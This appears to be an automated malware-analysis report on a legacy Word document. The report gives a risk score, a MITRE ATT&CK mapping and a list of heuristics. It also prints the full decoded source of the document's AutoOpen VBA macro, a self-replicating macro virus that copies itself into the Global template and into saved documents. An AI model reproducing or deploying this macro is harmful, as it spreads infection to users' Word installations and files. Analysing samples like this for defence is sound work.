MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself to the global template, which is a common technique for establishing persistence or spreading malware. No external network activity or dropped files were detected in static analysis.
Heuristics 3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 980 bytes |
SHA-256: c73a50078ca5eb349a2d9524668a6d0ac836d26618a239546a1034d268588f51 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim total
Dim infected
Dim cycle
Dim name_$
WordBasic.DisableInput 1: On Error Resume Next: total = WordBasic.CountMacros(0): infected = 0
If total > 0 Then
For cycle = 1 To total
If WordBasic.[MacroName$](cycle, 0) = "AutoOpen" Then
infected = 1
End If
Next cycle
End If
name_$ = WordBasic.[WindowName$]() + ":AutoOpen"
If infected <> 1 Then
WordBasic.MacroCopy name_$, "Global:AutoOpen", 1
Else
infected = 0
End If
If WordBasic.CountMacros(1) <> 0 Then
infected = 1
End If
If infected = 0 Then
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoOpen", name_$
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.